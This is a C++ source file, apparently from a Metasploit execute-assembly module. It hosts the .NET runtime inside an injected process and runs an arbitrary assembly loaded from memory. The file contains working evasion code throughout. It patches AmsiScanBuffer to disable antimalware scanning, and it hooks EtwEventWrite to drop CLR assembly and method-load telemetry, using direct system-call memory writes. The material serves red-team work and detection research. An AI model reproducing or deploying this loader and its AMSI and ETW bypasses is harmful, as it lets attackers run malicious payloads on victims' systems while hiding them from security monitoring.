Files
metasploit-gs/external/source/HostingCLR_inject/HostingCLR/HostingCLR.cpp
T
2020-04-10 15:06:39 -05:00

515 lines
12 KiB
C++

// Author: B4rtik (@b4rtik)
// Project: Execute Assembly (https://github.com/b4rtik/metasploit-execute-assembly)
// License: BSD 3-Clause
// based on
// https://github.com/etormadiv/HostingCLR
// by Etor Madiv
#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#include <evntprov.h>
#include "HostingCLR.h"
#include "EtwTamper.h"
// https://docs.microsoft.com/en-us/dotnet/framework/performance/etw-events-in-the-common-language-runtime
#define ModuleLoad_V2 152
#define AssemblyDCStart_V1 155
#define MethodLoadVerbose_V1 143
#define MethodJittingStarted 145
#define ILStubGenerated 88
unsigned char amsiflag[1];
unsigned char etwflag[1];
char sig_40[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };
char sig_20[] = { 0x76,0x32,0x2E,0x30,0x2E,0x35,0x30,0x37,0x32,0x37 };
// mov rax, <Hooked function address>
// jmp rax
unsigned char uHook[] = {
0x48, 0xb8, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xFF, 0xE0
};
#ifdef _X32
unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
SIZE_T patchsize = 8;
#endif
#ifdef _X64
unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
SIZE_T patchsize = 6;
#endif
union PARAMSIZE {
unsigned char myByte[4];
int intvalue;
} paramsize;
int executeSharp(LPVOID lpPayload)
{
HRESULT hr;
ICLRMetaHost* pMetaHost = NULL;
ICLRRuntimeInfo* pRuntimeInfo = NULL;
BOOL bLoadable;
ICorRuntimeHost* pRuntimeHost = NULL;
IUnknownPtr pAppDomainThunk = NULL;
_AppDomainPtr pDefaultAppDomain = NULL;
_AssemblyPtr pAssembly = NULL;
SAFEARRAYBOUND rgsabound[1];
SIZE_T readed;
_MethodInfoPtr pMethodInfo = NULL;
VARIANT retVal;
VARIANT obj;
SAFEARRAY *psaStaticMethodArgs;
VARIANT vtPsa;
unsigned char pSize[8];
//Read parameters assemblysize + argssize
ReadProcessMemory(GetCurrentProcess(), lpPayload, pSize, 8, &readed);
PARAMSIZE assemblysize;
assemblysize.myByte[0] = pSize[0];
assemblysize.myByte[1] = pSize[1];
assemblysize.myByte[2] = pSize[2];
assemblysize.myByte[3] = pSize[3];
PARAMSIZE argssize;
argssize.myByte[0] = pSize[4];
argssize.myByte[1] = pSize[5];
argssize.myByte[2] = pSize[6];
argssize.myByte[3] = pSize[7];
long raw_assembly_length = assemblysize.intvalue;
long raw_args_length = argssize.intvalue;
unsigned char *allData = (unsigned char*)malloc(raw_assembly_length * sizeof(unsigned char)+ raw_args_length * sizeof(unsigned char) + 9 * sizeof(unsigned char));
unsigned char *arg_s = (unsigned char*)malloc(raw_args_length * sizeof(unsigned char));
unsigned char *rawData = (unsigned char*)malloc(raw_assembly_length * sizeof(unsigned char));
SecureZeroMemory(allData, raw_assembly_length * sizeof(unsigned char) + raw_args_length * sizeof(unsigned char) + 9 * sizeof(unsigned char));
SecureZeroMemory(arg_s, raw_args_length * sizeof(unsigned char));
SecureZeroMemory(rawData, raw_assembly_length * sizeof(unsigned char));
rgsabound[0].cElements = raw_assembly_length;
rgsabound[0].lLbound = 0;
SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound);
void* pvData = NULL;
hr = SafeArrayAccessData(pSafeArray, &pvData);
if (FAILED(hr))
{
printf("Failed SafeArrayAccessData w/hr 0x%08lx\n", hr);
return -1;
}
//Reading memory parameters + amsiflag + args + assembly
ReadProcessMemory(GetCurrentProcess(), lpPayload , allData, raw_assembly_length + raw_args_length + 9, &readed);
//Taking pointer to amsi
unsigned char *offsetamsi = allData + 8;
//Store amsi flag
memcpy(amsiflag, offsetamsi, 1);
unsigned char *offsetetw = allData + 9;
//Store amsi flag
memcpy(etwflag, offsetetw, 1);
//Taking pointer to args
unsigned char *offsetargs = allData + 10;
//Store parameters
memcpy(arg_s, offsetargs, raw_args_length);
//Taking pointer to assembly
unsigned char *offset = allData + raw_args_length + 10;
//Store assembly
memcpy(pvData, offset, raw_assembly_length);
LPCWSTR clrVersion;
if(FindVersion(pvData, raw_assembly_length))
{
clrVersion = L"v4.0.30319";
}
else
{
clrVersion = L"v2.0.50727";
}
hr = SafeArrayUnaccessData(pSafeArray);
if (FAILED(hr))
{
printf("Failed SafeArrayUnaccessData w/hr 0x%08lx\n", hr);
return -1;
}
//Etw bypass
if (etwflag[0] == '\x01')
{
int ptcResult = PatchEtw();
if (ptcResult == -1)
{
printf("Etw bypass failed\n");
return -1;
}
}
hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&pMetaHost);
if(FAILED(hr))
{
printf("CLRCreateInstance failed w/hr 0x%08lx\n", hr);
return -1;
}
IEnumUnknown* pEnumerator;
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
hr = pMetaHost->EnumerateLoadedRuntimes(hProcess, &pEnumerator);
if (FAILED(hr))
{
printf("Cannot enumerate loaded runtime w/hr 0x%08lx\n", hr);
return -1;
}
BOOL isloaded = ClrIsLoaded(clrVersion, pEnumerator, (VOID**)&pRuntimeInfo);
if(!isloaded)
{
hr = pMetaHost->GetRuntime(clrVersion, IID_ICLRRuntimeInfo, (VOID**)&pRuntimeInfo);
if (FAILED(hr))
{
wprintf(L"Cannot get the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);
return -1;
}
hr = pRuntimeInfo->IsLoadable(&bLoadable);
if (FAILED(hr) || !bLoadable)
{
wprintf(L"Cannot load the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);
return -1;
}
}
hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&pRuntimeHost);
if(FAILED(hr))
{
printf("ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);
return -1;
}
if (!isloaded)
{
hr = pRuntimeHost->Start();
}
if(FAILED(hr))
{
printf("CLR failed to start w/hr 0x%08lx\n", hr);
return -1;
}
hr = pRuntimeHost->GetDefaultDomain(&pAppDomainThunk);
if(FAILED(hr))
{
printf("ICorRuntimeHost::GetDefaultDomain failed w/hr 0x%08lx\n", hr);
return -1;
}
hr = pAppDomainThunk->QueryInterface(__uuidof(_AppDomain), (VOID**) &pDefaultAppDomain);
if(FAILED(hr))
{
printf("Failed to get default AppDomain w/hr 0x%08lx\n", hr);
return -1;
}
//Amsi bypass
if (amsiflag[0] == '\x01')
{
int ptcResult = PatchAmsi();
if (ptcResult == -1)
{
printf("Amsi bypass failed\n");
return -1;
}
}
hr = pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
if(FAILED(hr))
{
printf("Failed pDefaultAppDomain->Load_3 w/hr 0x%08lx\n", hr);
return -1;
}
hr = pAssembly->get_EntryPoint(&pMethodInfo);
if(FAILED(hr))
{
printf("Failed pAssembly->get_EntryPoint w/hr 0x%08lx\n", hr);
return -1;
}
ZeroMemory(&retVal, sizeof(VARIANT));
ZeroMemory(&obj, sizeof(VARIANT));
obj.vt = VT_NULL;
vtPsa.vt = (VT_ARRAY | VT_BSTR);
//Managing parameters
if(arg_s[0] != '\x00')
{
//if we have at least 1 parameter set cEleemnt to 1
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
LPWSTR *szArglist;
int nArgs;
wchar_t *wtext = (wchar_t *)malloc((sizeof(wchar_t) * raw_args_length +1));
mbstowcs(wtext, (char *)arg_s, raw_args_length + 1);
szArglist = CommandLineToArgvW(wtext, &nArgs);
free(wtext);
vtPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, nArgs);
for(long i = 0;i< nArgs;i++)
{
size_t converted;
size_t strlength = wcslen(szArglist[i]) + 1;
OLECHAR *sOleText1 = new OLECHAR[strlength];
char * buffer = (char *)malloc(strlength * sizeof(char));
wcstombs(buffer, szArglist[i], strlength);
mbstowcs_s(&converted, sOleText1, strlength, buffer, strlength);
BSTR strParam1 = SysAllocString(sOleText1);
SafeArrayPutElement(vtPsa.parray, &i, strParam1);
free(buffer);
}
long iEventCdIdx(0);
hr = SafeArrayPutElement(psaStaticMethodArgs, &iEventCdIdx, &vtPsa);
}
else
{
//if no parameters set cEleemnt to 0
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 0);
}
//Assembly execution
hr = pMethodInfo->Invoke_3(obj, psaStaticMethodArgs, &retVal);
if(FAILED(hr))
{
printf("Failed pMethodInfo->Invoke_3 w/hr 0x%08lx\n", hr);
return -1;
}
wprintf(L"Succeeded\n");
return 0;
}
VOID Execute(LPVOID lpPayload)
{
if (!AttachConsole(-1))
AllocConsole();
executeSharp(lpPayload);
}
BOOL FindVersion(void * assembly, int length)
{
char* assembly_c;
assembly_c = (char*)assembly;
for (int i = 0; i < length; i++)
{
for (int j = 0; j < 10; j++)
{
if (sig_40[j] != assembly_c[i + j])
{
break;
}
else
{
if (j == (9))
{
return TRUE;
}
}
}
}
return FALSE;
}
ULONG NTAPI MyEtwEventWrite(
__in REGHANDLE RegHandle,
__in PCEVENT_DESCRIPTOR EventDescriptor,
__in ULONG UserDataCount,
__in_ecount_opt(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData)
{
ULONG uResult = 0;
_EtwEventWriteFull EtwEventWriteFull = (_EtwEventWriteFull)
GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWriteFull");
if (EtwEventWriteFull == NULL) {
return 1;
}
switch (EventDescriptor->Id) {
case AssemblyDCStart_V1:
// Block CLR assembly loading events.
break;
case MethodLoadVerbose_V1:
// Block CLR method loading events.
break;
case ILStubGenerated:
// Block MSIL stub generation events.
break;
default:
// Forward all other ETW events using EtwEventWriteFull.
uResult = EtwEventWriteFull(RegHandle, EventDescriptor, 0, NULL, NULL, UserDataCount, UserData);
}
return uResult;
}
INT InlinePatch(LPVOID lpFuncAddress, UCHAR * patch) {
PNT_TIB pTIB = NULL;
PTEB pTEB = NULL;
PPEB pPEB = NULL;
// Get pointer to the TEB
pTIB = (PNT_TIB)__readgsqword(0x30);
pTEB = (PTEB)pTIB->Self;
// Get pointer to the PEB
pPEB = (PPEB)pTEB->ProcessEnvironmentBlock;
if (pPEB == NULL) {
return -1;
}
if (pPEB->OSMajorVersion == 10 && pPEB->OSMinorVersion == 0) {
ZwProtectVirtualMemory = &ZwProtectVirtualMemory10;
ZwWriteVirtualMemory = &ZwWriteVirtualMemory10;
}
else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 1 && pPEB->OSBuildNumber == 7601) {
ZwProtectVirtualMemory = &ZwProtectVirtualMemory7SP1;
ZwWriteVirtualMemory = &ZwWriteVirtualMemory7SP1;
}
else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 2) {
ZwProtectVirtualMemory = &ZwProtectVirtualMemory80;
ZwWriteVirtualMemory = &ZwWriteVirtualMemory80;
}
else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 3) {
ZwProtectVirtualMemory = &ZwProtectVirtualMemory81;
ZwWriteVirtualMemory = &ZwWriteVirtualMemory81;
}
else {
return -2;
}
LPVOID lpBaseAddress = lpFuncAddress;
ULONG OldProtection, NewProtection;
SIZE_T uSize = sizeof(patch);
NTSTATUS status = ZwProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection);
if (status != STATUS_SUCCESS) {
return -1;
}
status = ZwWriteVirtualMemory(NtCurrentProcess(), lpFuncAddress, (PVOID)patch, sizeof(patch), NULL);
if (status != STATUS_SUCCESS) {
return -1;
}
status = ZwProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, OldProtection, &NewProtection);
if (status != STATUS_SUCCESS) {
return -1;
}
return 0;
}
BOOL PatchEtw()
{
HMODULE lib = LoadLibraryA("ntdll.dll");
if (lib == NULL)
{
printf("Cannot load ntdll.dll");
return -2;
}
LPVOID lpFuncAddress = GetProcAddress(lib, "EtwEventWrite");
if (lpFuncAddress == NULL)
{
printf("Cannot get address of EtwEventWrite");
return -2;
}
// Add address of hook function to patch.
*(DWORD64*)&uHook[2] = (DWORD64)MyEtwEventWrite;
return InlinePatch(lpFuncAddress, uHook);
}
BOOL PatchAmsi()
{
HMODULE lib = LoadLibraryA("amsi.dll");
if (lib == NULL)
{
printf("Cannot load amsi.dll");
return -2;
}
LPVOID addr = GetProcAddress(lib, "AmsiScanBuffer");
if(addr == NULL)
{
printf("Cannot get address of AmsiScanBuffer");
return -2;
}
return InlinePatch(addr, amsipatch);
}
BOOL ClrIsLoaded(LPCWSTR version, IEnumUnknown* pEnumerator, LPVOID * pRuntimeInfo) {
HRESULT hr;
ULONG fetched = 0;
DWORD vbSize;
BOOL retval = FALSE;
wchar_t currentversion[260];
while (SUCCEEDED(pEnumerator->Next(1, (IUnknown **)&pRuntimeInfo, &fetched)) && fetched > 0)
{
hr = ((ICLRRuntimeInfo*)pRuntimeInfo)->GetVersionString(currentversion, &vbSize);
if (!FAILED(hr))
{
if (wcscmp(currentversion, version) == 0)
{
retval = TRUE;
break;
}
}
}
return retval;
}